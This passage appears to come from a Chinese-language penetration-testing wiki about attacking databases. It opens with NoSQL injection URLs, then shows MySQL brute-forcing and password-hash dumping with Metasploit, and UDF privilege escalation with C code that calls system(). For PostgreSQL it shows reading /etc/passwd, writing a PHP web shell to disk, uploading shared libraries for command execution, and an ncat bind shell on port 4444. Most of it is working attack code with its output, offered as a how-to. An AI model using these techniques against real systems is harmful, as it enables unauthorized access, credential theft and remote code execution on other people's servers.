我们看到这里可能存在注入,因此我们选择不开始时间盲注。
pentest wiki
我们看到NoSQLMap已经完成了对应用程序中的注入漏洞的测试,并显示了所有注入点和使用的有效载荷的输出。在使用手动技术学习评估时,我们已经看到了这一点。

http://192.168.152.151:80/home.php?search[$ne]=OybrUiUGatApIIdOioUS&Search=Search
http://192.168.152.151:80/home.php?search[$gt]=&Search=Search

结论:
任何系统的安全性与其最薄弱的环节一样强大。 小小的错误配置会导致严重的损坏。 我们在这里展示的所有例子都是人们常犯的错误。请保持你的MongoDB是最新的,并且在把它传递给MongoDB之前总是验证用户的输入。

mysql

命令 描述
select @@version 显示mysql服务器版本
select version() 显示mysql服务器版本
SHOW STATUS 显示mysql服务器状态信息
show VARIABLES 显示所有的mysql服务器变量
select user() 查询当前数据库用户
SHOW VARIABLES LIKE ‘%datadir%’ 显示包含数据字符串的所有变量
select load_file(‘/etc/passwd’); 加载文件到数据库中
select 0xnnnnnn… INTO OUTFILE ‘/path/to/filename’ 将数据写入文本文件.
select 0xnnnnnn… INTO DUMPFILE ‘/path/to/filename’ 将数据写入二进制文件.

####怎样安装mysql数据库服务器 ?####

Lab: ubuntu / debian

$ sudo apt-get install mysql-server
$ sudo systemctl start service

编辑 /etc/mysql/mysql.conf.d/mysqld.cnf, 和改变 绑定的地址.

bind-address = 0.0.0.0

####允许远程访问####

root@sh:~# ss -ant | grep ":3306"
LISTEN     0      80           *:3306                     *:*
root@sh:~# mysql -h 10.0.250.71 -uroot -p
Enter password:
ERROR 1130 (HY000): Host '10.0.250.71' is not allowed to connect to this MySQL server

创建一个SQL文件 adduser.sql, 和执行这个命令: mysql -h 127.0.0.1 -u root -p mysql < adduser.sql

CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;

如果成功了,你就能够远程访问MYSQL数据库服务器.

root@sh:~# mysql -h 10.0.250.71 -u mysqlsec -p mysql
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.6.30-1 (Debian)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
mysql> select Host,User,Password from `mysql`.`user` where User='mysqlsec';
+-----------+----------+-------------------------------------------+
| Host      | User     | Password                                  |
+-----------+----------+-------------------------------------------+
| localhost | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| %         | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+----------+-------------------------------------------+
2 rows in set (0.00 sec)

####怎样爆破mysql ?####

msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE         /tmp/pass.txt    no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            10.0.250.71      yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   true             yes       Stop guessing when a credential works for a host
   THREADS           10               yes       The number of concurrent threads
   USERNAME          mysqlsec         no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(mysql_login) > run

[*] 10.0.250.71:3306      - 10.0.250.71:3306 - Found remote MySQL version 5.6.30
[-] 10.0.250.71:3306      - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:AzVJmX (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306      - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:j1Uyj3 (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306      - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:root (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306      - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:mysql (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[+] 10.0.250.71:3306      - MYSQL - Success: 'mysqlsec:password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

####怎样把mysql哈希值dump出来 ?####

msf auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  password         no        The password for the specified username
   RHOSTS    10.0.250.71      yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME  mysqlsec         no        The username to authenticate as

msf auxiliary(mysql_hashdump) > run

[+] 10.0.250.71:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: debian-sys-maint:*8E970943FBFAA7CF6A11A55677E8050B725D9919
[+] 10.0.250.71:3306      - Saving HashString as Loot: phpmyadmin:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: freepbxuser:*433D16EECA646A6CCF8F024AD8CDDC070C6791C1
[+] 10.0.250.71:3306      - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

####UDF权限提升####

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
    unsigned int        arg_count;  // number of arguments
    enum Item_result    *arg_type;  // pointer to item_result
    char            **args;     // pointer to arguments
    unsigned long       *lengths;   // length of string args
    char            *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
    char            maybe_null; // 1 if func can return NULL
    unsigned int        decimals;   // for real functions
    unsigned long       max_length; // for string functions
    char            *ptr;       // free ptr for func data
    char            const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if (args->arg_count != 1)
        return(0);

    system(args->args[0]);

    return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    return(0);
}
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

将上面的代码编译成一个这样的库文件。接下来,请转换为一个十六进制字符串:

#!/usr/bin/python
# -*- coding: utf8 -*-

# https://www.exploit-db.com/exploits/1518/

# How to upload UDF DLL into mysql server ?
# show VARIABLES;
# select @@plugin_dir;
# SELECT CHAR (...) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# SELECT 0xnnnnn INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# drop function if exists do_system
# create function do_system returns integer soname 'lib_mysqludf_sys.so';
# select sys_exec('id');

# How to Compile UDF Dll ?
# gcc -g -c raptor_udf2.c
# gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

import sys
import binascii


def convert(filename):
    with open(filename) as f:
        print(binascii.hexlify(f.read()))


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("python {} /path/to/lib_mysqludf_sys.so".format(sys.argv[0]))
    else:
        convert(sys.argv[1])

上传该文件, 并用mysql用户定义一个函数 do_system.

mysql > select @@plugin_dir;
mysql > SELECT 0x7f45........0000 INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
mysql > drop function if exists do_system
mysql > create function do_system returns integer soname 'lib_mysqludf_sys.so';
mysql > select do_system('id > /tmp/result.log');
mysql > select load_file('/tmp/result.log');

####MOF权限提升####

如果mysql部署在windows上,可以尝试用msf:

msf >
use exploit/windows/mysql/mysql_mof
use exploit/windows/mysql/mysql_start_up
use exploit/windows/mysql/scrutinizer_upload_exec
use exploit/windows/mysql/mysql_payload
use exploit/windows/mysql/mysql_yassl_hello

如果有足够的权限,还可以将数据写入os文件(启动,cron等)。

####参考链接

  1. http://www.mysqltutorial.org/mysql-cheat-sheet.aspx
  2. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  3. https://www.rapid7.com/db/modules/exp
  4. loit/windows/mysql/mysql_mof
  5. http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

postgresql

####数据库连接

请连接到postgresql数据库,

lab:~/ $ psql -h 127.0.0.1 -U postgres -W

####数据库命令

postgres=# help
You are using psql, the command-line interface to PostgreSQL.
Type:  \copyright for distribution terms
       \h for help with SQL commands
       \? for help with psql commands
       \g or terminate with semicolon to execute query
       \q to quit
postgres=# \h
Available help:
  ABORT                            CREATE FOREIGN DATA WRAPPER      DROP SEQUENCE
  ALTER AGGREGATE                  CREATE FOREIGN TABLE             DROP SERVER
  ALTER COLLATION                  CREATE FUNCTION                  DROP TABLE
  ALTER CONVERSION                 CREATE GROUP                     DROP TABLESPACE
  ALTER DATABASE                   CREATE INDEX                     DROP TEXT SEARCH CONFIGURATION
  ALTER DEFAULT PRIVILEGES         CREATE LANGUAGE                  DROP TEXT SEARCH DICTIONARY
  ALTER DOMAIN                     CREATE MATERIALIZED VIEW         DROP TEXT SEARCH PARSER
  ALTER EVENT TRIGGER              CREATE OPERATOR                  DROP TEXT SEARCH TEMPLATE
  ALTER EXTENSION                  CREATE OPERATOR CLASS            DROP TRIGGER
  ALTER FOREIGN DATA WRAPPER       CREATE OPERATOR FAMILY           DROP TYPE
  ALTER FOREIGN TABLE              CREATE ROLE                      DROP USER
  ALTER FUNCTION                   CREATE RULE                      DROP USER MAPPING
  ALTER GROUP                      CREATE SCHEMA                    DROP VIEW
  ALTER INDEX                      CREATE SEQUENCE                  END
  ALTER LANGUAGE                   CREATE SERVER                    EXECUTE
  ALTER LARGE OBJECT               CREATE TABLE                     EXPLAIN
  ALTER MATERIALIZED VIEW          CREATE TABLE AS                  FETCH
  ALTER OPERATOR                   CREATE TABLESPACE                GRANT
  ALTER OPERATOR CLASS             CREATE TEXT SEARCH CONFIGURATION INSERT
  ALTER OPERATOR FAMILY            CREATE TEXT SEARCH DICTIONARY    LISTEN
  ALTER ROLE                       CREATE TEXT SEARCH PARSER        LOAD
  ALTER RULE                       CREATE TEXT SEARCH TEMPLATE      LOCK
  ALTER SCHEMA                     CREATE TRIGGER                   MOVE
  ALTER SEQUENCE                   CREATE TYPE                      NOTIFY
  ALTER SERVER                     CREATE USER                      PREPARE
  ALTER SYSTEM                     CREATE USER MAPPING              PREPARE TRANSACTION
  ALTER TABLE                      CREATE VIEW                      REASSIGN OWNED
  ALTER TABLESPACE                 DEALLOCATE                       REFRESH MATERIALIZED VIEW
  ALTER TEXT SEARCH CONFIGURATION  DECLARE                          REINDEX
  ALTER TEXT SEARCH DICTIONARY     DELETE                           RELEASE SAVEPOINT
  ALTER TEXT SEARCH PARSER         DISCARD                          RESET
  ALTER TEXT SEARCH TEMPLATE       DO                               REVOKE
  ALTER TRIGGER                    DROP AGGREGATE                   ROLLBACK
  ALTER TYPE                       DROP CAST                        ROLLBACK PREPARED
  ALTER USER                       DROP COLLATION                   ROLLBACK TO SAVEPOINT
  ALTER USER MAPPING               DROP CONVERSION                  SAVEPOINT
  ALTER VIEW                       DROP DATABASE                    SECURITY LABEL
  ANALYZE                          DROP DOMAIN                      SELECT
  BEGIN                            DROP EVENT TRIGGER               SELECT INTO
  CHECKPOINT                       DROP EXTENSION                   SET
  CLOSE                            DROP FOREIGN DATA WRAPPER        SET CONSTRAINTS
  CLUSTER                          DROP FOREIGN TABLE               SET ROLE
  COMMENT                          DROP FUNCTION                    SET SESSION AUTHORIZATION
  COMMIT                           DROP GROUP                       SET TRANSACTION
  COMMIT PREPARED                  DROP INDEX                       SHOW
  COPY                             DROP LANGUAGE                    START TRANSACTION
  CREATE AGGREGATE                 DROP MATERIALIZED VIEW           TABLE
  CREATE CAST                      DROP OPERATOR                    TRUNCATE
  CREATE COLLATION                 DROP OPERATOR CLASS              UNLISTEN
  CREATE CONVERSION                DROP OPERATOR FAMILY             UPDATE
  CREATE DATABASE                  DROP OWNED                       VACUUM
  CREATE DOMAIN                    DROP ROLE                        VALUES
  CREATE EVENT TRIGGER             DROP RULE                        WITH
  CREATE EXTENSION                 DROP SCHEMA
postgres=# \?
General
  \copyright             show PostgreSQL usage and distribution terms
  \g [FILE] or ;         execute query (and send results to file or |pipe)
  \gset [PREFIX]         execute query and store results in psql variables
  \h [NAME]              help on syntax of SQL commands, * for all commands
  \q                     quit psql
  \watch [SEC]           execute query every SEC seconds

Query Buffer
  \e [FILE] [LINE]       edit the query buffer (or file) with external editor
  \ef [FUNCNAME [LINE]]  edit function definition with external editor
  \p                     show the contents of the query buffer
  \r                     reset (clear) the query buffer
  \s [FILE]              display history or save it to file
  \w FILE                write query buffer to file

Input/Output
  \copy ...              perform SQL COPY with data stream to the client host
  \echo [STRING]         write string to standard output
  \i FILE                execute commands from file
  \ir FILE               as \i, but relative to location of current script
  \o [FILE]              send all query results to file or |pipe
  \qecho [STRING]        write string to query output stream (see \o)

Informational
  (options: S = show system objects, + = additional detail)
  \d[S+]                 list tables, views, and sequences
  \d[S+]  NAME           describe table, view, sequence, or index
  \da[S]  [PATTERN]      list aggregates
  \db[+]  [PATTERN]      list tablespaces
  \dc[S+] [PATTERN]      list conversions
  \dC[+]  [PATTERN]      list casts
  \dd[S]  [PATTERN]      show object descriptions not displayed elsewhere
  \ddp    [PATTERN]      list default privileges
  \dD[S+] [PATTERN]      list domains
  \det[+] [PATTERN]      list foreign tables
  \des[+] [PATTERN]      list foreign servers
  \deu[+] [PATTERN]      list user mappings
  \dew[+] [PATTERN]      list foreign-data wrappers
  \df[antw][S+] [PATRN]  list [only agg/normal/trigger/window] functions
  \dF[+]  [PATTERN]      list text search configurations
  \dFd[+] [PATTERN]      list text search dictionaries
  \dFp[+] [PATTERN]      list text search parsers
  \dFt[+] [PATTERN]      list text search templates
  \dg[+]  [PATTERN]      list roles
  \di[S+] [PATTERN]      list indexes
  \dl                    list large objects, same as \lo_list
  \dL[S+] [PATTERN]      list procedural languages
  \dm[S+] [PATTERN]      list materialized views
  \dn[S+] [PATTERN]      list schemas
  \do[S]  [PATTERN]      list operators
  \dO[S+] [PATTERN]      list collations
  \dp     [PATTERN]      list table, view, and sequence access privileges
  \drds [PATRN1 [PATRN2]] list per-database role settings
  \ds[S+] [PATTERN]      list sequences
  \dt[S+] [PATTERN]      list tables
  \dT[S+] [PATTERN]      list data types
  \du[+]  [PATTERN]      list roles
  \dv[S+] [PATTERN]      list views
  \dE[S+] [PATTERN]      list foreign tables
  \dx[+]  [PATTERN]      list extensions
  \dy     [PATTERN]      list event triggers
  \l[+]   [PATTERN]      list databases
  \sf[+] FUNCNAME        show a function's definition
  \z      [PATTERN]      same as \dp

Formatting
  \a                     toggle between unaligned and aligned output mode
  \C [STRING]            set table title, or unset if none
  \f [STRING]            show or set field separator for unaligned query output
  \H                     toggle HTML output mode (currently off)
  \pset [NAME [VALUE]]   set table output option
                         (NAME := {format|border|expanded|fieldsep|fieldsep_zero|footer|null|
                         numericlocale|recordsep|recordsep_zero|tuples_only|title|tableattr|pager})
  \t [on|off]            show only rows (currently off)
  \T [STRING]            set HTML <table> tag attributes, or unset if none
  \x [on|off|auto]       toggle expanded output (currently off)

Connection
  \c[onnect] {[DBNAME|- USER|- HOST|- PORT|-] | conninfo}
                         connect to new database (currently "postgres")
  \encoding [ENCODING]   show or set client encoding
  \password [USERNAME]   securely change the password for a user
  \conninfo              display information about current connection

Operating System
  \cd [DIR]              change the current working directory
  \setenv NAME [VALUE]   set or unset environment variable
  \timing [on|off]       toggle timing of commands (currently off)
  \! [COMMAND]           execute command in shell or start interactive shell

Variables
  \prompt [TEXT] NAME    prompt user to set internal variable
  \set [NAME [VALUE]]    set internal variable, or list all if no parameters
  \unset NAME            unset (delete) internal variable

Large Objects
  \lo_export LOBOID FILE
  \lo_import FILE [COMMENT]
  \lo_list
  \lo_unlink LOBOID      large object operations

#####列出数据库列表#####

postgres=# \l
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-----------+----------+----------+-------------+-------------+-----------------------
 msfdb     | msfuser  | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(4 rows)

#####列出数据库用户列表#####

postgres=# \du
                             List of roles
 Role name |                   Attributes                   | Member of
-----------+------------------------------------------------+-----------
 msfuser   |                                                | {}
 postgres  | Superuser, Create role, Create DB, Replication | {}

Please try more details about postgresql database.


####列出目录列表####

postgres=# select pg_ls_dir('/etc');
ERROR:  absolute path not allowed
postgres=# select pg_ls_dir('./');
      pg_ls_dir       
----------------------
 postmaster.opts
 postmaster.pid
 pg_logical
 pg_clog
 postgresql.auto.conf
 pg_hba.conf
 cmd.so
 pg_multixact
 postgresql.conf
 pg_ident.conf
 global
 pg_stat_tmp
 PG_VERSION
 pg_dynshmem
 pg_twophase
 pg_xlog
 pg_notify
 pg_snapshots
 pg_tblspc
 pg_serial
 pg_stat
 base
 pg_subtrans
 pg_replslot
(24 rows)

####文件读取####

方法一

postgres=# select pg_read_file('postgresql.conf', 0, 200);
                pg_read_file                
--------------------------------------------
 # -----------------------------           +
 # PostgreSQL configuration file           +
 # -----------------------------           +
 #                                         +
 # This file consists of lines of the form:+
 #                                         +
 #   name = value                          +
 #                                         +
 # (The "=" is optional.)  Whitespace m
(1 row)

方法二

postgres=# drop table pwn;
ERROR:  table "pwn" does not exist
postgres=# CREATE TABLE pwn(t TEXT);
CREATE TABLE
postgres=# COPY pwn FROM '/etc/passwd';
COPY 27
postgres=# SELECT * FROM pwn limit 1 offset 0;
                t                
---------------------------------
 root:x:0:0:root:/root:/bin/bash
(1 row)

postgres=# SELECT * FROM pwn;
                                      t                                       
------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/usr/bin/nologin
 daemon:x:2:2:daemon:/:/usr/bin/nologin
 mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin
 ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin
 http:x:33:33:http:/srv/http:/usr/bin/nologin
 uuidd:x:68:68:uuidd:/:/usr/bin/nologin
 dbus:x:81:81:dbus:/:/usr/bin/nologin
 nobody:x:99:99:nobody:/:/usr/bin/nologin
 systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin
 systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin
 systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin
 systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin
 systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin
 systemd-journal-remote:x:999:999:systemd Journal Remote:/:/sbin/nologin
 systemd-journal-upload:x:998:998:systemd Journal Upload:/:/sbin/nologin
 avahi:x:84:84:avahi:/:/bin/false
 polkitd:x:102:102:Policy Kit Daemon:/:/bin/false
 git:x:997:997:git daemon user:/:/bin/bash
 colord:x:124:124::/var/lib/colord:/bin/false
 postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash
 lab:x:1000:1000::/home/notfound:/bin/bash
 stunnel:x:16:16::/var/run/stunnel:/bin/false
 dnsmasq:x:996:996:dnsmasq daemon:/:/usr/bin/nologin
 mongodb:x:995:2::/var/lib/mongodb:/bin/bash
 mysql:x:89:89::/var/lib/mysql:/bin/false
 sslh:x:994:994::/:/sbin/nologin
(27 rows)

postgres=# DROP table pwn;

####写入文件####

postgres=# DROP TABLE pwn;
DROP TABLE
postgres=# CREATE TABLE pwn (t TEXT);
CREATE TABLE
postgres=# INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');
INSERT 0 1
postgres=# SELECT * FROM pwn;
               t                
--------------------------------
 <?php @system("$_GET[cmd]");?>
(1 row)

postgres=# COPY pwn(t) TO '/tmp/cmd.php';
COPY 1
postgres=# DROP TABLE pwn;
DROP TABLE

####UDF hack####

#####编译源#####

lab: / $ git clone https://github.com/sqlmapproject/udfhack/
lab: / $ gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so
lab: / $ gcc -Wall -I/usr/include/postgresql/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
lab: / $ strip -sx lib_postgresqludf_sys.so

#####命令执行#####

把udf.so转换为十六进制字符串。

lab:~/ $ cat udf.so | hex

利用数据库特性上传udf.so。

postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('079c...', 'hex'));
INSERT 0 1


postgres=# SELECT lo_export(19074, 'cmd.so');
ERROR:  pg_largeobject entry for OID 19074, page 0 has invalid data field size 3213
postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
        setting         
------------------------
 /var/lib/postgres/data
(1 row)

Library类库太大了,我们需要把它分成几块,详情可以查看https://github.com/sqlmapproject/sqlmap/issues/1170.

postgres=# select * from pg_largeobject;
 loid | pageno | data
------+--------+------
(0 rows)

postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
        setting         
------------------------
 /var/lib/postgres/data
(1 row)

postgres=# SELECT lo_creat(-1);
 lo_creat
----------
    19075
(1 row)

postgres=# SELECT lo_create(11122);
 lo_create
-----------
     11122
(1 row)

postgres=# select * from pg_largeobject;
 loid | pageno | data
------+--------+------
(0 rows)

postgres=# INSERT INTO pg_largeobject VALUES (11122, 0, decode('079c...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 1, decode('a28e...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 2, decode('1265...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 3, decode('c62e...', 'hex'));
INSERT 0 1
postgres=# SELECT lo_export(11122, '/tmp/cmd.so');
 lo_export
-----------
         1
(1 row)

postgres=# SELECT lo_unlink(11122);
 lo_unlink
-----------
         1
(1 row)

成功上传library类库, 然后创建postgresql函数.

postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/udf64.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE FUNCTION
postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE FUNCTION

sys_exec执行命令, 然后什么也没有返回.

postgres=# SELECT sys_exec('id');
 sys_exec
----------
        0
(1 row)

执行命令后,清除函数。

postgres=# DROP FUNCTION sys_exec(text);
DROP FUNCTION
postgres=# DROP FUNCTION sys_eval(text);
DROP FUNCTION

#####绑定shell#####

// bind shell on port 4444
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

text *exec()
{
    system("ncat -e /bin/bash -l -p 4444");
}

编译源码

lab:postgres_cmd/ $  vim nc.c
lab:postgres_cmd/ $  gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so
lab:postgres_cmd/ $  strip -sx nc.so

复制nc.so到postgresql的tmp目录, 或者你可以利用数据库特性上传so文件.

lab:postgres_cmd/ $  sudo cp nc.so /tmp/systemd-private-374c1bd49d5f425ca21cca8cc6d89de7-postgresql.service-SKrVjI/tmp/nc.so

为绑定shell创建执行函数,用客户端连接到目标.

postgres=# CREATE OR REPLACE FUNCTION exec() RETURNS text AS  '/tmp/nc.so', 'exec' LANGUAGE C STRICT;
CREATE FUNCTION
postgres=# SELECT exec();
server closed the connection unexpectedly
    This probably means the server terminated abnormally
    before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.

####METASPLOIT POSTGRESQL模块

use auxiliary/admin/postgres/postgres_readfile
use auxiliary/admin/postgres/postgres_sql
use auxiliary/scanner/postgres/postgres_dbname_flag_injection
use auxiliary/scanner/postgres/postgres_login
use auxiliary/scanner/postgres/postgres_version
use auxiliary/server/capture/postgresql
use exploit/linux/postgres/postgres_payload
use exploit/windows/postgres/postgres_payload

参考链接

https://github.com/sqlmapproject/udfhack/
https://github.com/sqlmapproject/sqlmap/issues/1170
http://zone.wooyun.org/content/4971
http://drops.wooyun.org/tips/6449
http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html

sqlite

sqlite_hacking

####连接数据库####

让我们开始在命令提示符下键入一个简单的sqlite3命令,它将为您提供SQLite命令提示符,您将在其中发出各种SQLite命令。

┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ sqlite3 temp.db
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
sqlite> .help
.backup ?DB? FILE      Backup DB (default "main") to FILE
.bail on|off           Stop after hitting an error.  Default OFF
.binary on|off         Turn binary output on or off.  Default OFF
.clone NEWDB           Clone data into NEWDB from the existing database
.databases             List names and files of attached databases
.dbinfo ?DB?           Show status information about the database
.dump ?TABLE? ...      Dump the database in an SQL text format
                         If TABLE specified, only dump tables matching
                         LIKE pattern TABLE.
.echo on|off           Turn command echo on or off
.eqp on|off            Enable or disable automatic EXPLAIN QUERY PLAN
.exit                  Exit this program
.explain ?on|off?      Turn output mode suitable for EXPLAIN on or off.
                         With no args, it turns EXPLAIN on.
.fullschema            Show schema and the content of sqlite_stat tables
.headers on|off        Turn display of headers on or off
.help                  Show this message
.import FILE TABLE     Import data from FILE into TABLE
.indexes ?TABLE?       Show names of all indexes
                         If TABLE specified, only show indexes for tables
                         matching LIKE pattern TABLE.
.limit ?LIMIT? ?VAL?   Display or change the value of an SQLITE_LIMIT
.load FILE ?ENTRY?     Load an extension library
.log FILE|off          Turn logging on or off.  FILE can be stderr/stdout
.mode MODE ?TABLE?     Set output mode where MODE is one of:
                         ascii    Columns/rows delimited by 0x1F and 0x1E
                         csv      Comma-separated values
                         column   Left-aligned columns.  (See .width)
                         html     HTML <table> code
                         insert   SQL insert statements for TABLE
                         line     One value per line
                         list     Values delimited by .separator strings
                         tabs     Tab-separated values
                         tcl      TCL list elements
.nullvalue STRING      Use STRING in place of NULL values
.once FILENAME         Output for the next SQL command only to FILENAME
.open ?FILENAME?       Close existing database and reopen FILENAME
.output ?FILENAME?     Send output to FILENAME or stdout
.print STRING...       Print literal STRING
.prompt MAIN CONTINUE  Replace the standard prompts
.quit                  Exit this program
.read FILENAME         Execute SQL in FILENAME
.restore ?DB? FILE     Restore content of DB (default "main") from FILE
.save FILE             Write in-memory database into FILE
.scanstats on|off      Turn sqlite3_stmt_scanstatus() metrics on or off
.schema ?TABLE?        Show the CREATE statements
                         If TABLE specified, only show tables matching
                         LIKE pattern TABLE.
.separator COL ?ROW?   Change the column separator and optionally the row
                         separator for both the output mode and .import
.shell CMD ARGS...     Run CMD ARGS... in a system shell
.show                  Show the current values for various settings
.stats on|off          Turn stats on or off
.system CMD ARGS...    Run CMD ARGS... in a system shell
.tables ?TABLE?        List names of tables
                         If TABLE specified, only list tables matching
                         LIKE pattern TABLE.
.timeout MS            Try opening locked tables for MS milliseconds
.timer on|off          Turn SQL timer on or off
.trace FILE|off        Output each SQL statement as it is run
.vfsname ?AUX?         Print the name of the VFS stack
.width NUM1 NUM2 ...   Set column widths for "column" mode
                         Negative values right-justify

####生成####

常见的sqlite功能(注释,concate,substr,十六进制,引用,….)

sqlite> select 1; -- comments
1
sqlite> select 'hello ' || 'world';
hello world
sqlite> select substr('hello world', 1, 3);
hel
sqlite> select hex('a');
61
sqlite> select quote(hex('a'));
'61'
sqlite> PRAGMA database_list;
0|main|/tmp/evil.php
2|pwn|/tmp/evil.php
sqlite> PRAGMA temp_store_directory = '/tmp';
sqlite>

####读文件####

sqlite>
sqlite> CREATE TABLE pwn.data (data TEXT);
sqlite> .tables
data      pwn.data
sqlite> .import /etc/passwd data
sqlite> select * from data;
